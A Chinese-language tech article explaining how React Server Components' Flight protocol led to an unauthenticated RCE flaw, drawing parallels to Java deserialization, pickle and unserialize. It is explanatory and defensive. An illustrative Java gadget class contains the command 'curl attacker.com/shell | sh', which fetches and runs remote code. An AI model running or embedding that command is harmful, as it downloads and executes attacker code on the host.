React 以慘痛的方式重新吸取了 25 年前 RCE 的一個教訓
很長一段時間里,React 在安全圈幾乎算“無害”。
它做的事很單純:渲染 UI、操作 DOM。你要是寫得夠離譜,最多來個 XSS——煩人,但大多數時候還能救。
因為 React 沒有你的數據庫鑰匙、沒有你的文件系統權限、也不該碰你的服務端進程。
但這條“邊界”,悄悄消失了。
隨著 React Server Components(RSC) 和 Next.js App Router 成為主流,React 不再只是前端框架——它成了一個后端運行時:跑在 Node.js 里、讀數據庫、摸環境變量、改服務端狀態。
從那一刻開始,React 繼承了后端軟件的全部爆炸半徑。
然后它轉頭就踩中了安全史上最老的一顆地雷之一:把網絡里來的“可執行行為”,當成可以反序列化的“數據”。
結果?未授權遠程代碼執行(RCE)。一次請求,不用登錄,直接進服務器執行。屬于框架級別最不能出的那種錯。
要搞懂這事為什么會發生,你得先看清楚:React 到底“變了什么”。
當“數據”不再只是數據
經典 React 應用和服務器說話,一直很樸素:
// Browser
fetch("/api/user")
.then(res => res.json())
.then(user => setUser(user))服務器端也很樸素:
app.get("/api/user", (req, res) => {
res.json({ id: 42, name: "Alice" })
})瀏覽器發的是惰性數據。 服務器解析的是惰性數據。 線上跑來跑去的只是值。執行永遠留在服務器端。
這條邊界,才是舊時代 React “風險低”的根本原因。
但 React Server Components 把這套模式拆了。
圖片
它不再返回 JSON,而是流式返回一種內部協議(常被稱為 “Flight”),里面攜帶的東西不只是“值”,還包括:
- 渲染哪些組件
- 模塊怎么解析
- 哪些樹節點要在服務端執行
- 流式過程中如何重建執行圖(execution graph)
換句話說:網絡線上傳輸的,開始像“指令”了。
概念上,服務器從:network → parse JSON → fill struct → return HTML
變成了:network → deserialize instructions → rebuild execution graph → execute
最后那個 “execute”,就是 RCE 出生的產房。
反序列化“指令”為什么致命
反序列化數據,長這樣:
// Go
var u User
json.Unmarshal(bytes, &u)// Rust
let u: User = serde_json::from_slice(bytes)?;它們共同點是:
- 類型(User)由程序決定
- 網絡只提供字段值
- 數據不能觸發方法
- 數據不能要求換一種類型
- 整體乏味、死板,但非常安全
然后你去看看 Java 曾經干過的“世紀級錯誤”。
Java 早就為這個錯誤買過十幾年單
很多 Java 服務端里,曾經到處是這一行:
Object obj = new ObjectInputStream(socket.getInputStream()).readObject();這行代碼最可怕的不是它“讀對象”,而是——它沒有目標類型。
JVM 處理方式是:
- 從網絡讀類名
- 從 classpath 加載該類
- 實例化
- 跑反序列化鉤子(deserialization hooks)
等于網絡數據在說:
“請你實例化這個類,并順便執行它的反序列化代碼。”
于是攻擊者開始找“gadget class”,比如這種(示意):
class Exploit {
private void readObject(ObjectInputStream in) {
Runtime.getRuntime().exec("curl attacker.com/shell | sh");
}
}只要依賴樹里出現過一個這樣的“可組合鏈條”,readObject() 就可能變成“給我一個 shell”。這類災難級 RCE,撐起了企業安全圈好幾年噩夢。
而 React RSC——在精神上,走回了同一條路。
React 是怎么一步步走進同一個坑的
Flight 的 payload 讓服務器在架構上接近這樣:
const instruction = deserialize(untrustedNetworkBytes)
execute(instruction)當然實現細節不一定是這段代碼,但數據流就是這個味道。
它不再是:
“這是組件要用的數據”
更像是:
“這是你該怎么重建執行圖的一部分說明書”
當網絡輸入開始影響“執行結構”而不是只影響“字段值”,你就回到了 Java 反序列化那片戰場。
缺一個 allowlist。 少一道校驗邊界。 就夠了。
“反序列化不是在服務端做的嗎?為什么還會出事?”
因為危險的從來不是“反序列化”這個動作,而是:你反序列化成了什么。
這很安全:
JSON.parse('{ "count": 5 }')這就很危險:
deserializeIntoExecutableInstructions(bytes)當反序列化結果包含:
- 函數引用
- 模塊加載邏輯
- 可執行樹/執行圖
你就不是在“解碼數據”。 你是在“解碼行為”。
而把行為從網絡里解出來,是攻擊者最喜歡的捷徑。
為什么 Go / Rust 很少撞上這類 RCE
拿 Go 舉例:
type Config struct {
Port int
}
var cfg Config
json.Unmarshal(input, &cfg)攻擊者最多影響:
cfg.Port
攻擊者不能影響:
- 實例化哪個 struct
- 解碼時跑哪個函數
- 解碼過程中執行什么鉤子
Rust 同理:
#[derive(Deserialize)]
struct Config {
port: u16,
}
let cfg: Config = serde_json::from_slice(input)?;關鍵邊界永遠是:類型由程序選,網絡只能填值。
而 Java 原生序列化、以及 React RSC 的漏洞路徑,都是跨過了這條線:讓網絡“碰到了執行結構”。
React 為什么會犯這種錯
圖片
原因很現實,也很熟悉:
- 把 Flight 當成“私有協議”他們默認“只有可信的 React 客戶端才會說這種協議”。可一旦它暴露在 HTTP 上,攻擊者只關心一點:我能不能給它喂字節。
- 為開發體驗猛踩油門為了流式渲染、緩存、自動 revalidate、server actions、寫一次到處跑,他們做了強耦合的執行管線。跨層魔法越多,驗證邊界越容易漏。
- React 現在管的層太多了UI、后端執行、傳輸、序列化、緩存、路由……當一個抽象掌握這么大表面積,驗證失誤就不再是“局部 bug”,而是生態事故。
- Next.js 把它做成默認海量應用在沒有“明確意識到自己暴露了 React 專用執行協議”的情況下,把這套模型推到了公網。([Vercel][2])
一個 bug,全網共振。
補丁到底改了什么
補丁前,模型幾乎等于:
deserialize → execute
補丁后,變成:
deserialize → validate (strict allowlist) → execute
不再允許動態模塊解析。
不再允許任意指令圖。
不再允許“行為從線上直達執行”。
這本質上就是:React 被迫補上了 Java 用十幾年痛苦換來的那套防線。
真正的教訓
這事和 JavaScript 本身沒關系。 也和 React 語法沒關系。
它就是那句所有系統工程師遲早都要背會的老話:
不可信字節,永遠不該決定執行。
Java 在 2000s 學過一次。
PHP 在 unserialize 上學過一次。
Python 在 pickle 上學過一次。
React 在 2025,又學了一次。
時代不同,地雷同款。
圖片
最近
React 不是因為“前端框架”而被燒傷的。 它是因為自己悄悄變成了后端運行時,卻忘了把后端該有的安全紀律一起搬過來。
歷史對這種故事的結局,向來非常一致。

























